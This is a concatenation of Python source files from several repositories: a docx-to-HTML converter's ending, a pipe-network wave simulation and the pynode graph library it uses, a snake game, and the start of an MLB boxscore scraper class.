'Heading 3': temp+= "\n</h3>\n\n" elif p.style == 'Heading 4': temp+= "\n</h4>\n\n" elif p.style == 'Heading 5': temp+= "\n</h5>\n\n" elif p.style == 'Heading 6': temp+= "\n</h6>\n\n" elif p.style == 'Heading 7': temp+= "\n</h7>\n\n" elif p.style == 'Heading 8': temp+= "\n</h8>\n\n" elif p.style == 'Heading 9': temp+= "\n</h9>\n\n" else: temp+=("\n</p>\n\n") htmlFile.write(temp) htmlFile.close() valid_filename_chars = "-_.() %s%s" % (string.ascii_letters, string.digits) char_limit = 255 def clean_filename(filename, whitelist=valid_filename_chars, replace=' '): # replace spaces for r in replace: filename = filename.replace(r,'_') # keep only valid ascii chars cleaned_filename = unicodedata.normalize('NFKD', filename).encode('ASCII', 'ignore').decode() # keep only whitelisted chars cleaned_filename = ''.join(c for c in cleaned_filename if c in whitelist) if len(cleaned_filename)>char_limit: print("Warning, filename truncated because it was over {}. Filenames may no longer be unique".format(char_limit)) return cleaned_filename[:char_limit] #Main print("Please enter the filename of the document you wish to convert.") docPath=input() start = time.time() print('Starting...\n\n') convertDoc(docPath) print('All done!') end = time.time() print('Elapsed time: '+(str(end - start))) ```
{ "source": "Joseph-Davies/VCE-algorithmics-project-2", "score": 3 }
#### File: Joseph-Davies/VCE-algorithmics-project-2/project_2.py ```python from pynode.main import * import ast import sys import time from ADTs import * #CLI flags defaults = False animation_speed = 1.0 time_factor = 1.0 #evaluate CLI flags i = 0 while i < len(sys.argv): arg = sys.argv[i] if arg == "-defaults": defaults = True print("using defaults data collumns") if arg.startswith("-animation_speed="): animation_speed = float(arg[17:]) time_factor = animation_speed #take the reciprocal animation_speed = 1 / animation_speed print("set animation speed to {0}x".format(time_factor)) i += 1 del i node_1 = None node_2 = None active_edge = None is_running = False #references to nodes node_clear = None node_start = None node_time = None #list of sensors and nodes sensor_nodes = list() break_nodes = list() #simulation variables start_time = 0 simulation_time = 0 wave_propogation_pqueue = priority_queue() time_node_value = -1 #reset all selected nodes def reset(): global node_1, node_2, active_edge if node_1 in sensor_nodes: node_1.set_color(Color(150, 50, 150)) elif node_1 in break_nodes: node_1.set_color(Color(50, 100, 200)) else: node_1.set_color(Color.DARK_GREY) if node_2 in sensor_nodes: node_2.set_color(Color(150, 50, 150)) elif node_2 in break_nodes: node_2.set_color(Color(50, 100, 200)) else: node_2.set_color(Color.DARK_GREY) if active_edge is not None: active_edge.set_color(Color.LIGHT_GREY) node_1 = None node_2 = None active_edge = None #convert a number to a float if it can otherwise return None def is_float(posible_int): output = None try: output = float(posible_int) except: output = None return output #function to get the users input def prompt(request_length = False, request_time = False): first = None second = None third = None #ask the user weather they want to add a break or a sensor while True: print("What would you like to do:") input_1 = input("Add a break (b), add a sensor (s), cancel (c): ").lower().rstrip() if input_1 == "b": first = input_1 break elif input_1 == "s": first = input_1 break elif input_1 == "c": return (None, None, None) else: print("Invalid Input") #ask the user how far from the first node they clicked they want to new node to be if request_length: while True: input_2 = is_float(input("How far along the pipe do you want to add it in meters: ").lower().rstrip()) if input_2 != None: second = input_2 break else: print("Invalid Input") #ask the user when they want a break to occur if request_time and first == "b": while True: input_3 = is_float(input("At what time does the break happen: ").lower().rstrip()) if input_3 != None: third = input_3 break else: print("Invalid Input") return (first, second, third) def on_click(node): global node_1, node_2, active_edge, is_running print("Clicked on node \"{}\"".format(node.id())) #start node if node is node_start and not is_running: is_running = True simulate() return #disable user input if the application is running if not is_running: #clear selection node if node is node_clear: reset() return #if both nodes have been selected and you select a third reset the selection if node_1 is not None and node_2 is not None: reset() #if node 1 has not been selected select it if node_1 is None: node_1 = node node_1.set_color(Color.YELLOW) #if node 1 has been selected and node 2 has not been selected select node 2 elif node_2 is None: node_2 = node node_2.set_color(Color.GREEN) #if the two selected nodes are different highlight the edge between them if node_1 is not None and node_2 is not None and node_1 is not node_2: try: active_edge = graph.edges_between(node_1, node_2)[0] active_edge.set_color(Color.BLUE) except Exception as e: print("Cannot find edge between selected nodes") print(e) return #if both nodes have been selected ask the user what to do if node_1 is not None and node_2 is not None: #ask the user for what they want to do #if the two nodes are different ask for the edge between them if active_edge is not None: new_thing_type, new_thing_length, new_thing_time = prompt(True, True) #if the two nodes are the same then don't ask the for the edge else: new_thing_type, new_thing_length, new_thing_time = prompt(False, True) #if nothing is got from the user then just reset if new_thing_type is None and new_thing_length is None: reset() return #if a length is specified aka the new node is between nodes if new_thing_length != None: #break if new_thing_type == "b": #add the node new_node = graph.add_node("Break: " + str(len(break_nodes) + 1)) new_node.set_color(Color(50, 100, 200)) new_node.set_attribute("time", new_thing_time) #calculat new edge lengths and ingore fp rounding errors length_1 = round(new_thing_length, 1) length_2 = round(active_edge.weight() - new_thing_length, 1) #add the edges new_edge_1 = graph.add_edge(node_1, new_node) new_edge_1.set_weight(length_1) new_edge_1.set_attribute("length", length_1) new_edge_1.set_attribute("inner radius", active_edge.attribute("inner radius")) new_edge_1.set_attribute("speed", active_edge.attribute("speed")) new_edge_2 = graph.add_edge(new_node, node_2) new_edge_2.set_weight(length_2) new_edge_2.set_attribute("length", length_2) new_edge_2.set_attribute("inner radius", active_edge.attribute("inner radius")) new_edge_2.set_attribute("speed", active_edge.attribute("speed")) #remove the old edge graph.remove_edge(active_edge) active_edge = None #record the break node break_nodes.append(new_node) #sensor elif new_thing_type == "s": #add the node new_node = graph.add_node("Sensor: " + str(len(sensor_nodes) + 1)) new_node.set_color(Color(150, 50, 150)) #calculat new edge lengths and ingore fp rounding errors length_1 = round(new_thing_length, 1) length_2 = round(active_edge.weight() - new_thing_length, 1) #add the edges new_edge_1 = graph.add_edge(node_1, new_node) new_edge_1.set_weight(length_1) new_edge_1.set_attribute("length", length_1) new_edge_1.set_attribute("inner radius", active_edge.attribute("inner radius")) new_edge_1.set_attribute("speed", active_edge.attribute("speed")) new_edge_2 = graph.add_edge(new_node, node_2) new_edge_2.set_weight(length_2) new_edge_2.set_attribute("length", length_2) new_edge_2.set_attribute("inner radius", active_edge.attribute("inner radius")) new_edge_2.set_attribute("speed", active_edge.attribute("speed")) #remove the old edge graph.remove_edge(active_edge) active_edge = None #record the break node sensor_nodes.append(new_node) #if no length is specified aka the break is being placed over another node else: #break if new_thing_type == "b": #record all the surrounging nodes and edge weights things_to_reconect_to = list() for edge in node_1.incident_edges(): things_to_reconect_to.append((edge.other_node(node_1), edge.weight(), edge.attribute("speed"), edge.attribute("inner radius"))) #remove the current node graph.remove_node(node_1) #add the new node new_node = graph.add_node("Break: " + str(len(break_nodes) + 1)) new_node.set_color(Color(50, 100, 200)) new_node.set_attribute("time", new_thing_time) #reconnect node to it's surroundings for thing in things_to_reconect_to: node_to_conect_to, weight, wave_speed, pipe_i_radius = thing new_edge = graph.add_edge(new_node, node_to_conect_to) new_edge.set_weight(weight) new_edge.set_attribute("length", weight) new_edge.set_attribute("inner radius", pipe_i_radius) new_edge.set_attribute("speed", wave_speed) #record the break node break_nodes.append(new_node) elif new_thing_type == "s": #record all the surrounging nodes and edge weights things_to_reconect_to = list() for edge in node_1.incident_edges(): things_to_reconect_to.append((edge.other_node(node_1), edge.weight(), edge.attribute("speed"), edge.attribute("inner radius"))) #remove the current node graph.remove_node(node_1) #add the new node new_node = graph.add_node("Sensor: " + str(len(sensor_nodes) + 1)) new_node.set_color(Color(150, 50, 150)) #reconnect node to it's surroundings for thing in things_to_reconect_to: node_to_conect_to, weight, wave_speed, pipe_i_radius = thing new_edge = graph.add_edge(new_node, node_to_conect_to) new_edge.set_weight(weight) new_edge.set_attribute("length", weight) new_edge.set_attribute("inner radius", pipe_i_radius) new_edge.set_attribute("speed", wave_speed) #record the sensor node sensor_nodes.append(new_node) def simulate(): global start_time, wave_propogation_pqueue print("starting simulation") #put the breaks into a priority queue of when they will trigger #set the node they came from to 0 because they are sources for node in break_nodes: wave_propogation_pqueue.enqueue((node, None), node.attribute("time")) start_time = time.time() print("start time", start_time) print("====================================================") should_continue = True while should_continue: should_continue = simulation_itteration() def simulation_itteration(): global simulation_time, node_time, time_node_value simulation_time = time.time() - start_time simulation_time *= time_factor t_node_val = round(simulation_time, 1) if t_node_val != time_node_value: node_time.set_value("t={0}".format(t_node_val)) time_node_value = t_node_val #if there is nothing left in the queue signal to stop itterating if wave_propogation_pqueue.length() == 0: return False hit_time = wave_propogation_pqueue.front_priority() if simulation_time > hit_time: node, node_from = wave_propogation_pqueue.dequeue() if node in sensor_nodes: print("hit {0} at {1}".format(node.id(), simulation_time)) #n_to = node.id() #n_from = node_from.id() if node_from is not None else "No node" #print("{0} -> {1}".format(n_from, n_to)) #print("@ {0}".format(hit_time)) #print("----------------------------------------------------") for edge in node.incident_edges(): other_node = edge.other_node(node) if other_node is node_from: continue #time in seconds for the wave to move along the pipe wave_time = edge.attribute("length") / edge.attribute("speed") #convert to miliseconds wave_time_ms = wave_time * 1000 #multiply by animation time wave_time_ms *= animation_speed edge.traverse(node, Color.RED, True, wave_time_ms) thing_to_enqueue = (other_node, node) wave_propogation_pqueue.enqueue(thing_to_enqueue, hit_time + wave_time) #continue to the next itteration return True nodes = dict() #if the node does not exist make it and return a reference to a node. if the node does exist return a reference to it def get_node(name): if name in nodes: return nodes[name] else: node = graph.add_node(name) nodes[name] = node #if the edge does not exist make it and return it if it does exist return it #if the egde involves nodes that do not exist make them def get_edge(node_1, node_2): if graph.adjacent(get_node(node_1), get_node(node_2)): return graph.edges_between(get_node(node_1), get_node(node_2))[0] else: edge = graph.add_edge(get_node(node_1), get_node(node_2)) return edge def run(): global node_clear, node_start, node_time #user interface nodes node_clear = graph.add_node("Clear") node_clear.set_color(Color.RED) node_clear.set_position(50, 480) node_start = graph.add_node("Start") node_start.set_color(Color.RED) node_start.set_position(100, 480) node_time = graph.add_node("t=0") node_time.set_color(Color.BLACK) node_time.set_position(150, 480) length_index = 2 diameter_index = 3 thickness_index = 7 speed_index = 10 #if the user does not specify the -defaults flag then ask then what columns to get the data from if not defaults: length_index = input("What collumn is the lengin in: ") diameter_index = input("What collumn is the diameter in: ") thickness_index = input("What collumn is the thicnkess in: ") speed_index = input("What collumn is the speed in: ") #construt the graph with open("pipes.csv", 'r') as csv_file: first = True for line in csv_file: #if it is the first line ignore it as it is the header if first: first = False continue #split the data into columns data = line.rstrip().lstrip().replace("\t","").split(',') #where posible evaluate literals i = 0 while i < len(data): try: data[i] = ast.literal_eval(data[i]) i += 1 except: i += 1 for element in data: #get the edge between the two nodes in the line #if the edge does not exist create it #if either of the nodes do not exist create them e = get_edge(data[0], data[1]) #set the values of the edge e.set_weight(data[length_index]) e.set_attribute("length", data[length_index]) e.set_attribute("inner radius", (data[diameter_index] - 2 * data[thickness_index]) / 2) e.set_attribute("speed", data[speed_index]) register_click_listener(on_click) begin_pynode(run) ``` #### File: pynode/src/pynode_graphlib.py ```python from pynode.src import pynode_core import random def pause(time): pynode_core.add_event(pynode_core.EventPause(time)) def delay(func, time, args=[], repeat=False): def execute(): pynode_core.execute_function(func, args) if repeat: delay_id = pynode_core.timer.set_interval(execute, time) pynode_core.PynodeCoreGlobals.delay_type[delay_id] = 1 return delay_id else: delay_id = pynode_core.timer.set_timeout(execute, time) pynode_core.PynodeCoreGlobals.delay_type[delay_id] = 0 return delay_id def cancel_delay(delay_id): if delay_id in pynode_core.PynodeCoreGlobals.delay_type: if pynode_core.PynodeCoreGlobals.delay_type[delay_id] == 1: pynode_core.timer.clear_interval(delay_id) else: pynode_core.timer.clear_timeout(delay_id) del pynode_core.PynodeCoreGlobals.delay_type[delay_id] def clear_delays(): delay_ids = list(pynode_core.PynodeCoreGlobals.delay_type.keys()) for delay_id in delay_ids: cancel_delay(delay_id) def print_debug(value): pynode_core.do_print(str(value) + "\n") def register_click_listener(func): pynode_core.PynodeCoreGlobals.click_listener_func["f"] = func class Color: def __init__(self, red, green, blue, transparent=False): self._red = red; self._green = green; self._blue = blue self._transparent = transparent @staticmethod def rgb(red, green, blue): return Color(red, green, blue) def hex_string(self): if self._transparent: return "transparent" else: return "#%02x%02x%02x" % (self._red, self._green, self._blue) def __str__(self): return "(" + str(self._red) + "," + str(self._green) + "," + str(self._blue) + ")" def red(self): return self._red def green(self): return self._green def blue(self): return self._blue Color.RED = Color(180, 0, 0) Color.GREEN = Color(0, 150, 0) Color.BLUE = Color(0, 0, 200) Color.YELLOW = Color(255, 215, 0) Color.WHITE = Color(255, 255, 255) Color.LIGHT_GREY = Color(199, 199, 199) Color.GREY = Color(127, 127, 127) Color.DARK_GREY = Color(82, 82, 82) Color.BLACK = Color(0, 0, 0) Color.TRANSPARENT = Color(0, 0, 0, True) class CustomStyle: def __init__(self, size, color, outline=Color.TRANSPARENT): self._size = size self._color = color self._outline = outline self._has_outline = outline is not None def data(self, element): return str(self._size) + "," + self._color.hex_string() + "," + (element._color.hex_string() if self._outline is None else self._outline.hex_string()) + "," + str(self._has_outline) class Node: def __init__(self, *args, **kwds): arg_id = kwds["id"] if "id" in kwds else args[0] if len(args) > 0 else pynode_core.next_user_id() arg_value = kwds["value"] if "value" in kwds else args[1] if len(args) > 1 else arg_id self._id = arg_id self._value = arg_value self._incident_edges = [] self._attributes = {} self._priority = 0 self._position = None self._is_pos_relative = False self._labels = ["", ""] self._size = 12 self._color = Color.DARK_GREY self._value_style = CustomStyle(13, Color.WHITE, None) self._label_styles = [CustomStyle(10, Color.GREY), CustomStyle(10, Color.GREY)] self._internal_id = pynode_core.next_global_id() def set_value(self, value): self._value = value pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_value, [self._internal_id, str(value) if value is not None else ""]), self) return self def value(self): return self._value def incident_edges(self): return list(self._incident_edges) def incoming_edges(self): return [e for e in self._incident_edges if not e._directed or e._target == self] def outgoing_edges(self): return [e for e in self._incident_edges if not e._directed or e._source == self] def adjacent_nodes(self): return [e._source if e._target is self else e._target for e in self._incident_edges] def predecessor_nodes(self): return [e._source if e._target is self else e._target for e in self.incoming_edges()] def successor_nodes(self): return [e._source if e._target is self else e._target for e in self.outgoing_edges()] def degree(self): return len(self._incident_edges) def indegree(self): return len(self.incoming_edges()) def outdegree(self): return len(self.outgoing_edges()) def set_attribute(self, name, value): self._attributes[name] = value return self def attribute(self, name): return self._attributes[name] if name in self._attributes else None def set_priority(self, value): self._priority = value return self def priority(self): return self._priority def set_position(self, x, y=None, relative=False): self._position = [x, y] if x is None or y is None: self._position = None self._is_pos_relative = relative pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_position, [self._internal_id, x, y, relative]), self) return self # Note: Function should be used asynchronously in the online version. Call it in delayed and/or click listener functions. def position(self): data = pynode_core.get_data((pynode_core.Event(pynode_core.js_node_get_position, [self._internal_id]))) if graph.has_node(self) and data is not None and data[0] is not None and data[1] is not None: return int(data[0]), int(data[1]) elif self._position is None: return None else: if self._is_pos_relative and data is not None and data[2] is not None and data[3] is not None: return int(self._position[0] * data[2]), int(self._position[1] * data[3]) else: return int(self._position[0]), int(self._position[1]) def set_label(self, text, label_id=0): self._labels[label_id] = text pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_label, [self._internal_id, str(text) if text is not None else "", label_id]), self) return self def label(self, label_id=0): return self._labels[label_id] def set_size(self, size): self._size = size pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_size, [self._internal_id, size]), self) return self def size(self): return self._size def set_color(self, color): self._color = color pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_color, [self._internal_id, color.hex_string(), self._value_style.data(self)]), self) return self def color(self): return self._color def set_text_size(self, size): self._value_style._size = size pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_value_style, [self._internal_id, self._value_style.data(self)]), self) return self def set_text_color(self, color): self._value_style._color = color pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_value_style, [self._internal_id, self._value_style.data(self)]), self) return self def set_value_style(self, size=None, color=None, outline=-1): self._value_style = CustomStyle(self._value_style._size if size is None else size, self._value_style._color if color is None else color, self._value_style._outline if outline == -1 else outline) pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_value_style, [self._internal_id, self._value_style.data(self)]), self) return self def set_label_style(self, size=None, color=None, outline=None, label_id=None): if label_id is None or (label_id != 0 and label_id != 1): style1 = CustomStyle(self._label_styles[0]._size if size is None else size, self._label_styles[0]._color if color is None else color, self._label_styles[0]._outline if outline is None else outline) style2 = CustomStyle(self._label_styles[1]._size if size is None else size, self._label_styles[1]._color if color is None else color, self._label_styles[1]._outline if outline is None else outline) self._label_styles[0] = style1 self._label_styles[1] = style2 pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_label_style, [self._internal_id, self._label_styles[0].data(self), 0]), self) pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_label_style, [self._internal_id, self._label_styles[1].data(self), 1]), self) else: style = CustomStyle(self._label_styles[label_id]._size if size is None else size,Color.WHITE if color is None else color, outline) self._label_styles[label_id] = style pynode_core.add_event(pynode_core.Event(pynode_core.js_node_set_label_style, [self._internal_id, self._label_styles[label_id].data(self), label_id]), self) return self def highlight(self, *args, **kwds): arg_color = kwds["color"] if "color" in kwds else args[0] if len(args) > 0 else None arg_size = kwds["size"] if "size" in kwds else args[1] if len(args) > 1 else self._size * 1.5 pynode_core.add_event(pynode_core.Event(pynode_core.js_node_highlight, [self._internal_id, arg_size, arg_color.hex_string() if arg_color is not None else None]), self) def id(self): return self._id def _data(self): d = {"id": self._internal_id, "label": str(self._value) if self._value is not None else "", "labelStyle": self._value_style.data(self), "topRightLabel": str(self._labels[0]) if self._labels[0] is not None else "", "topLeftLabel": str(self._labels[1]) if self._labels[1] is not None else "", "topRightLabelStyle": self._label_styles[0].data(self), "topLeftLabelStyle": self._label_styles[1].data(self), "r": self._size, "color": self._color.hex_string(), "fixed": (self._position is not None), "static": (self._position is not None), "ax": 0, "ay": 0, "rx": 0.0, "ry": 0.0, "relativePosition": False} if self._position is not None: if self._is_pos_relative: d["relativePosition"] = True d["rx"] = self._position[0]; d["ry"] = self._position[1] else: d["ax"] = self._position[0]; d["ay"] = self._position[1] d["x"] = self._position[0]; d["y"] = self._position[1] return d def __lt__(self, other): return self._priority < other._priority if isinstance(other, Node) else NotImplemented def __le__(self, other): return self._priority <= other._priority if isinstance(other, Node) else NotImplemented def __gt__(self, other): return self._priority > other._priority if isinstance(other, Node) else NotImplemented def __ge__(self, other): return self._priority >= other._priority if isinstance(other, Node) else NotImplemented def __str__(self): return str(self._id) def __repr__(self): return "node({0})".format(str(self._id)) class Edge: def __init__(self, source, target, weight=None, directed=False): self._source = source self._target = target self._weight = weight self._directed = directed self._attributes = {} self._priority = 0 self._width = 2 self._color = Color.LIGHT_GREY self._weight_style = CustomStyle(10, Color.GREY) self._internal_id = pynode_core.next_global_id() def source(self, target=None): # Deprecated if target is not None: return self.other_node(target) return self._source def target(self, source=None): # Deprecated if source is not None: return self.other_node(source) return self._target def set_weight(self, weight=None): self._weight = weight pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_set_weight, [self._internal_id, str(weight) if weight is not None else ""]), self) return self def weight(self): return self._weight def set_directed(self, directed=True): self._directed = directed pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_set_directed, [self._internal_id, self._directed]), self) return self def directed(self): return self._directed def other_node(self, node): return self._target if (self._source is node or self._source._id == node) else self._source def set_attribute(self, name, value): self._attributes[name] = value return self def attribute(self, name): return self._attributes[name] if name in self._attributes else None def set_priority(self, value): self._priority = value return self def priority(self): return self._priority def set_width(self, width=2): self._width = width pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_set_width, [self._internal_id, width]), self) return self def width(self): return self._width def set_color(self, color=Color.LIGHT_GREY): self._color = color pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_set_color, [self._internal_id, color.hex_string()]), self) return self def color(self): return self._color def set_weight_style(self, size=None, color=None, outline=None): self._weight_style = CustomStyle(self._weight_style._size if size is None else size, self._weight_style._color if color is None else color, self._weight_style._outline if outline is None else outline) pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_set_weight_style, [self._internal_id, self._weight_style.data(self)]), self) return self def highlight(self, *args, **kwds): arg_color = kwds["color"] if "color" in kwds else args[0] if len(args) > 0 else None arg_width = kwds["width"] if "width" in kwds else args[1] if len(args) > 1 else self._width * 2 pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_highlight, [self._internal_id, arg_width, arg_color.hex_string() if arg_color is not None else None]), self) def traverse(self, initial_node=None, color=Color.RED, keep_path=True, length = 1.0): if not graph.has_edge(self): return start = graph.node(initial_node) if initial_node is not None else self._source if not graph.has_node(start): return pynode_core.add_event(pynode_core.Event(pynode_core.js_edge_traverse, [self._internal_id, start._internal_id, color.hex_string(), keep_path, length]), self) def _data(self): d = {"id": self._internal_id, "source": self._source._internal_id, "target": self._target._internal_id, "weight": str(self._weight) if self._weight is not None else "", "directed": self._directed, "lineWidth": self._width, "weightStyle": self._weight_style.data(self), "stroke": self._color.hex_string()} return d def __lt__(self, other): return self._priority < other._priority if isinstance(other, Edge) else NotImplemented def __le__(self, other): return self._priority <= other._priority if isinstance(other, Edge) else NotImplemented def __gt__(self, other): return self._priority > other._priority if isinstance(other, Edge) else NotImplemented def __ge__(self, other): return self._priority >= other._priority if isinstance(other, Edge) else NotImplemented def __str__(self): return "(" + str(self._source) + "," + str(self._target) + ")" class Graph: def __init__(self): self._nodes = {} self._edges = [] self._has_edge_cache = {} self._spread = 80 def add_node(self, *args, **kwds): if "node" in kwds: n = kwds["node"] elif len(args) > 0 and isinstance(args[0], Node): n = args[0] else: n = Node(*args, **kwds) if n._id in self._nodes: raise Exception("Duplicate node '" + str(n._id) + "'") self._nodes[n._id] = n pynode_core.add_event(pynode_core.Event(pynode_core.js_add_node, [n._data()])) pause(25) return n def remove_node(self, node): n = self.node(node) pynode_core.enable_events(False) for e in n.incident_edges(): self.remove_edge(e) pynode_core.enable_events(True) del self._nodes[n._id] pynode_core.add_event(pynode_core.Event(pynode_core.js_remove_node, [n._internal_id])) pause(25) return n def node(self, id): if isinstance(id, Node) and id._id in self._nodes: return id elif id in self._nodes: return self._nodes[id] else: return None def nodes(self): return list(self._nodes.values()) def add_edge(self, *args, **kwds): if "edge" in kwds: e = kwds["edge"] elif len(args) > 0 and isinstance(args[0], Edge): e = args[0] else: arg_source = kwds["source"] if "source" in kwds else args[0] arg_target = kwds["target"] if "target" in kwds else args[1] arg_weight = kwds["weight"] if "weight" in kwds else args[2] if len(args) > 2 else None arg_directed = kwds["directed"] if "directed" in kwds else args[3] if len(args) > 3 else False e = Edge(arg_source, arg_target, arg_weight, arg_directed) if self.has_edge(e): raise Exception("Instance of edge '" + str(e) + "' already in graph.") original_source = e._source original_target = e._target e._source = graph.node(e._source) e._target = graph.node(e._target) if e._source is None: raise Exception("Node '" + str(original_source) + "' doesn't exist.") if e._target is None: raise Exception("Node '" + str(original_target) + "' doesn't exist.") e._source._incident_edges.append(e) e._target._incident_edges.append(e) self._edges.append(e) self._has_edge_cache[e] = True pynode_core.add_event(pynode_core.Event(pynode_core.js_add_edge, [e._data()])) return e def remove_edge(self, *args, **kwds): remove_multiple = False if "edge" in kwds: edge = kwds["edge"] elif len(args) > 0 and isinstance(args[0], Edge): edge = args[0] else: arg_source = kwds["node1"] if "node1" in kwds else args[0] arg_target = kwds["node2"] if "node2" in kwds else args[1] arg_directed = kwds["directed"] if "directed" in kwds else args[2] if len(args) > 2 else False remove_multiple = True if remove_multiple: edge_list = self.edges_between(arg_source, arg_target, arg_directed) self.remove_all(edge_list) return edge_list else: edge._source._incident_edges.remove(edge) edge._target._incident_edges.remove(edge) self._edges.remove(edge) del self._has_edge_cache[edge] pynode_core.add_event(pynode_core.Event(pynode_core.js_remove_edge, [edge._internal_id])) return edge def edges(self): return list(self._edges) def set_directed(self, directed=True): for e in self._edges: e.set_directed(directed) def has_node(self, node): return self.node(node) is not None def has_edge(self, edge): return edge in self._has_edge_cache def adjacent(self, node1, node2, directed=False): if not self.has_node(node1) or not self.has_node(node2): return False for n in (self.node(node1).successor_nodes() if directed else self.node(node1).adjacent_nodes()): if n is self.node(node2): return True return False # Deprecated def adjacent_directed(self, source, target): return self.adjacent(source, target, True) def edges_between(self, node1, node2, directed=False): if not self.has_node(node1) or not self.has_node(node2): return [] edge_list = self.node(node1).outgoing_edges() if directed else self.node(node1)._incident_edges return [edge for edge in edge_list if edge._target is self.node(node2) or edge._source is self.node(node2)] # Deprecated def edges_between_directed(self, source, target): return self.edges_between(source, target, True) def adjacency_matrix(self): m = {} for r in self._nodes.values(): row = {} for c in self._nodes.values(): row[c._id] = 0 m[r._id] = row for r in self._nodes.values(): for c in r.successor_nodes(): m[r._id][c._id] += 1 return m @staticmethod def random(order, size, connected=True, mutligraph=False, initial_id=0): nodes = [] edges = [] adjacency_matrix = [[0 for c in range(order)] for r in range(order)] edges_remaining = size id_list = random.sample(range(initial_id, initial_id + order), order) for i in range(order): node = Node(id_list[i]) if connected and edges_remaining > 0 and len(nodes) > 0: connected_node = nodes[random.randint(0, len(nodes) - 1)] if random.randint(0, 1) == 0: edges.append(Edge(node, connected_node)) else: edges.append(Edge(connected_node, node)) adjacency_matrix[id_list[i] - initial_id][connected_node._id - initial_id] += 1 adjacency_matrix[connected_node._id - initial_id][id_list[i] - initial_id] += 1 edges_remaining -= 1 nodes.append(node) possible_edges = [(i, j) for i in range(order) for j in range(order)] random.shuffle(possible_edges) for e in possible_edges: if edges_remaining <= 0: break if (adjacency_matrix[e[0]][e[1]] == 0 and e[0] != e[1]) or mutligraph: edges.append(Edge(e[0] + initial_id, e[1] + initial_id)) adjacency_matrix[e[0]][e[1]] += 1 adjacency_matrix[e[1]][e[0]] += 1 edges_remaining -= 1 return nodes + edges def add_all(self, elements): new_elements = [] pynode_core.enable_events(False) for x in elements: if isinstance(x, Node): new_elements.append((0, self.add_node(x)._data())) elif isinstance(x, Edge): new_elements.append((1, self.add_edge(x)._data())) else: new_elements.append((0, self.add_node(Node(x))._data())) pynode_core.enable_events(True) pynode_core.add_event(pynode_core.Event(pynode_core.js_add_all, [new_elements])) pause(55) def remove_all(self, elements): new_elements = [] pynode_core.enable_events(False) for x in elements: if isinstance(x, Node): new_elements.append((0, self.remove_node(x)._data())) elif isinstance(x, Edge): new_elements.append((1, self.remove_edge(x)._data())) else: new_elements.append((0, self.remove_node(self.node(x))._data())) pynode_core.enable_events(True) pynode_core.add_event(pynode_core.Event(pynode_core.js_remove_all, [new_elements])) pause(55) def order(self): return len(self._nodes.values()) def size(self): return len(self._edges) def set_spread(self, spread=80): self._spread = spread pynode_core.add_event(pynode_core.Event(pynode_core.js_set_spread, [spread])) def clear(self): self._reset() pynode_core.add_event(pynode_core.Event(pynode_core.js_clear, [])) def _reset(self): self._nodes = {} self._edges = [] self._has_edge_cache = {} def _exec_code(src): namespace = locals() namespace["__name__"] = "__main__" exec(src, namespace, namespace) def _execute_function(func, args): func(*args) graph = Graph() ```
{ "source": "Joseph-D-Bradshaw/pysnake", "score": 3 }
#### File: Joseph-D-Bradshaw/pysnake/snake.py ```python from collections import namedtuple from enum import Enum from utils import highlight_cell_at_x_y Vector = namedtuple('Vector', 'x y') class Heading(Enum): NORTH = Vector(0, -1) EAST = Vector(1, 0) SOUTH = Vector(0, 1) WEST = Vector(-1, 0) class BodyPart: def __init__(self, x: int, y: int, ref=None, is_head=False): self.x = x self.y = y self.ref = ref self.is_head = is_head print(f'LOG CREATION OF PART: {self.__repr__()}') @property def next(self): if type(self.ref) is type(self): return self.ref return None def __repr__(self): return f'p{id(self)}: ({self.x},{self.y}) -> p{self.next}' class Snake: def __init__(self, surface, x: int, y: int): self._surface = surface self.head = BodyPart(x, y, is_head=True) self.heading = Heading.EAST def draw(self): part = self.head highlight_cell_at_x_y(self._surface, part.x, part.y) # draw head while part.next: # draw rest of the body part = part.next highlight_cell_at_x_y(self._surface, part.x, part.y) def add_part(self): tail = self.head while tail.next: tail = tail.next # calculate where to add part by heading x = tail.x - self.heading.value.x y = tail.y - self.heading.value.y tail.ref = BodyPart(x, y) def move(self): # TODO: Improve move logic so each part moves to the previous parts position # Doubly Linked List is probably good for this now part = self.head while part: part.x += self.heading.value.x part.y += self.heading.value.y part = part.next ```
{ "source": "JosephDErwin/sportsreference", "score": 3 }
#### File: sportsreference/mlb/boxscore.py ```python import pandas as pd import re from datetime import timedelta from pyquery import PyQuery as pq from .. import utils from ..decorators import float_property_decorator, int_property_decorator from .constants import (BOXSCORE_ELEMENT_INDEX, BOXSCORE_SCHEME, BOXSCORE_URL, BOXSCORES_URL, DOUBLE_HEADER_INDICES) from sportsreference import utils from sportsreference.constants import AWAY, HOME from sportsreference.mlb.constants import DAY, NIGHT from six.moves.urllib.error import HTTPError class Boxscore(object): """ Detailed information about the final statistics for a game. Stores all relevant information for a game such as the date, time, location, result, and more advanced metrics such as the number of strikes, a pitcher's influence on the game, the number of putouts and much more. Parameters ---------- uri : string The relative link to the boxscore HTML page, such as 'BOS/BOS201806070'. """ def __init__(self, uri): self._uri = uri self._date = None self._time = None self._attendance = None self._venue = None self._time_of_day = None self._duration = None self._away_name = None self._home_name = None self._winner = None self._winning_name = None self._winning_abbr = None self._losing_name = None self._losing_abbr = None self._losing_abbr = None self._away_at_bats = None self._away_runs = None self._away_hits = None self._away_rbi = None self._away_earned_runs = None self._away_bases_on_balls = None self._away_strikeouts = None self._away_plate_appearances = None self._away_batting_average = None self._away_on_base_percentage = None self._away_slugging_percentage = None self._away_on_base_plus = None self._away_pitches = None self._away_strikes = None self._away_win_probability_for_offensive_player = None self._away_average_leverage_index = None self._away_win_probability_added = None self._away_win_probability_subtracted = None self._away_base_out_runs_added = None self._away_putouts = None self._away_assists = None self._away_innings_pitched = None self._away_home_runs = None self._away_strikes_by_contact = None self._away_strikes_swinging = None self._away_strikes_looking = None 